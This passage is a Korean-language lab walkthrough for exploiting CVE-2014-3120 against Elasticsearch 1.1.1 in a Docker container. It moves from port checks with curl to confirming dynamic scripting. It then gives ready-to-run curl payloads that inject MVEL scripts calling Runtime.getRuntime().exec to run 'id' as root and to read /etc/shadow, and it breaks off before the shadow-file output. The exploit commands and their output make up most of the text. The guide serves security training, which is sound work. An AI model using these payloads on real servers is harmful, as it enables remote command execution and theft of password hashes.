
Elasticsearch 1.1.1을 대상으로 한 CVE-2014-3120 취약점 악용 실습을 단계별로 설명하는 랩 가이드입니다. 취약점 분석, MVEL 스크립팅을 통한 RCE, Docker 환경에서의 사후 침투(Post-Exploitation)를 다룹니다.
실행 중인 환경을 확인하는 것으로 시작합니다. 모든 활성 컨테이너를 나열합니다:
docker ps

결과: p1/lab10:latest 컨테이너가 실행 중이며, 외부에 2개의 포트를 노출하고 있습니다:
| 포트 매핑 | 프로토콜 |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (확인 필요) |
0.0.0.0:9300 → 9300/tcp | 알 수 없음 |
초기 관찰: 포트 9200과 9300은 일반적으로 Elasticsearch의 기본 포트로 알려져 있습니다. 그러나 포트 번호만으로는 결론을 내릴 수 없습니다. 다른 많은 서비스가 임의의 포트에 바인딩될 수 있기 때문입니다.
⇒ 각 포트에 직접 curl을 실행하여 실제 실행 중인 서비스를 확인합니다.
curl -i http://192.168.3.137:9300/

응답 분석:
curl: (52) Empty reply from server평가: 서버는 TCP 연결을 수락했지만(연결 거부 없음), HTTP 프로토콜을 사용하여 응답하지 않았습니다. 이는 포트 9300의 Elasticsearch Transport 프로토콜 동작과 일치합니다. 이는 클러스터 내 노드 간 통신에 사용되는 바이너리 프로토콜이며, HTTP가 아닙니다.
⇒ 마인드셋: 포트 9300은 바이너리 프로토콜을 사용하므로 curl/브라우저로 직접 악용할 수 없습니다. 포트 9200(HTTP REST API 포트) 확인으로 전환합니다.
curl -i http://192.168.3.137:9200/

응답 분석:
| 필드 | 값 | 의미 |
|---|---|---|
name | "Rage" | Elasticsearch 노드 이름 (임의의 Marvel 캐릭터 이름 - 이전 ES 버전의 기본 동작) |
version.number | "1.1.1" | 매우 오래된 버전 - 2014년 4월 릴리스 |
build_timestamp | "2014-04-16T14:27:12Z" | 2014년 빌드 |
lucene_version | "4.7" | Lucene 4.7 - 오래된 인덱싱 엔진 |
tagline | "You Know, for Search" | Elasticsearch의 특징적인 서명 문구 |
공격 표면 평가:

⇒ 마인드셋: Elasticsearch 1.1.1은 기본적으로 동적 스크립팅을 활성화하여 클라이언트가 검색 쿼리에서 스크립트(MVEL 표현식)를 서버에 전송하여 실행할 수 있도록 합니다. 샌드박스나 적절한 검증이 없으면 공격자는 악성 스크립트를 주입하여 시스템 명령어를 실행할 수 있습니다. 다음 단계: 대상에서 동적 스크립팅이 실제로 활성화되어 있는지 확인합니다.
Elasticsearch는 스크립팅 기능을 지원합니다 - 클라이언트가 검색 요청 내에 스크립트(수학적 또는 논리적 표현식)를 전송하여 서버가 결과를 처리할 때 실행하도록 합니다. Elasticsearch 1.x에서 이 기능의 기본 엔진은 MVEL (MVFLEX Expression Language) 입니다.
1.2 이전 Elasticsearch 버전에서는 동적 스크립팅이 기본적으로 활성화되어 있습니다 (script.disable_dynamic: false). 이는 다음을 의미합니다:
_search API의 script_fields 매개변수를 통해 임의의 스크립트 전송 가능java.lang.Runtime.getRuntime().exec()를 호출하여 시스템 명령어 실행 가능script_fields 작동 방식script_fields가 포함된 검색 요청이 전송되면 Elasticsearch는:
_search API를 통해 JSON 요청 수신script_fields 필드 파싱 → 실행할 script 찾기Java에서 시스템 명령어를 실행하는 가장 일반적인 방법은:
Runtime.getRuntime().exec("command");
MVEL은 Java 클래스에 완전히 접근할 수 있는 표현 언어로서, 이를 직접 호출할 수 있습니다:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
각 부분 설명:
| 부분 | 설명 |
|---|---|
import java.io.* | Java IO 클래스 가져오기 |
Runtime.getRuntime() | Java Runtime 인스턴스 검색 |
.exec("id") | 셸 명령어 id 실행 |
.getInputStream() | 프로세스의 출력 스트림 검색 |
new Scanner(...).useDelimiter("\\A").next() | 전체 출력을 문자열로 읽기 |
⇒ 마인드셋: Elasticsearch에서는 RCE 출력이 응답에 직접 반환됩니다 — 파일로 리디렉션하여 다시 읽을 필요가 없습니다. 이렇게 하면 익스플로잇이 더 깔끔하고 빠르게 확인됩니다.
대상이 Elasticsearch 1.1.1임을 식별한 후, 다음 단계는 동적 스크립팅이 실제로 활성화되어 있는지 확인하는 것입니다.
CVE-2014-3120은 Elasticsearch가 클라이언트가 _search 요청 내에 스크립트를 전송할 수 있도록 허용하는 점을 악용합니다. 스크립트가 서버에서 실행되면 공격자는 무해한 표현식을 Java 런타임을 호출하여 시스템 명령어를 실행하는 페이로드로 대체할 수 있습니다.
먼저, 쿼리에 적어도 하나의 일치하는 결과가 있도록 테스트 문서를 생성합니다. 문서가 없으면 script_fields가 평가되지 않습니다.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
그런 다음 인덱스를 새로 고칩니다:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
다음으로, 무해한 MVEL 표현식이 포함된 script_fields를 사용하여 _search 요청을 전송합니다:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

스크립트 "1+1" 을 전송하고 서버가 결과 2를 반환합니다. 이는 Elasticsearch가 _search 요청을 수신할 뿐만 아니라 서버 측에서 동적 스크립트를 실행한다는 것을 증명합니다.
⇒ 동적 스크립팅이 대상에서 활성화되어 있습니다.
대상이 Elasticsearch 1.1.1이므로 1.2 이전 버전이며, 이는 CVE-2014-3120의 익스플로잇 요구 사항과 일치합니다: 1.2 이전의 Elasticsearch는 기본적으로 동적 스크립팅을 활성화하여 원격 공격자가 검색 요청을 통해 MVEL 표현식/Java 코드를 실행할 수 있도록 합니다.
무해한 표현식 "1+1"이 [2]를 반환하는 것을 통해 script_fields가 Elasticsearch에 의해 서버 측에서 실행됨을 확인했습니다.
이는 대상이 표준 검색뿐만 아니라 클라이언트가 _search 처리 중에 서버가 평가할 MVEL 스크립트를 전송할 수 있도록 허용함을 증명합니다.
CVE-2014-3120의 경우, Elasticsearch 1.1.1의 MVEL이 Java 클래스에 접근할 수 있다는 점이 핵심 위험입니다. 따라서 수학적 표현식 "1+1" 대신 공격자는 Java Runtime을 호출하는 스크립트를 전송할 수 있습니다:
Runtime.getRuntime().exec("command")
이는 운영 체제에서 새로운 프로세스를 생성하고 명령어를 실행하는 표준 Java API입니다.
_search API
→ script_fields
→ MVEL 표현식
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner가 stdout 읽기
→ 결과가 JSON 응답에 반환됨
RCE 페이로드:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

페이로드 분석:
| 부분 | 목적 |
|---|---|
"size": 1 | 결과를 1개 문서로 제한 |
"query" → "match_all" | 모든 문서와 일치 (인덱스에 최소 1개 문서 필요) |
"script_fields" → "exploit" | MVEL 스크립트를 실행하는 계산된 필드 정의 |
"script": "import java.io.*; ..." | id 명령어를 실행하고 출력을 반환하는 MVEL 표현식 |
결과:
응답은 id 명령어의 출력을 포함하는 fields.exploit 필드를 반환합니다:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
분석:
페이로드가 script_fields 내부의 MVEL 스크립트를 통해 Runtime.getRuntime().exec("id")를 성공적으로 호출했습니다. 응답이 id 명령어의 출력을 반환한다는 것은 명령어가 서버 측에서 실행되었음을 증명합니다.
uid=0(root) gid=0(root) groups=0(root) 결과는 컨테이너 내부의 Elasticsearch 프로세스가 root 권한으로 실행 중임을 나타냅니다.
RCE를 확인한 후, 실제 권한은 민감한 파일을 읽어 보는 방식으로 검증해야 합니다:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

관찰 결과: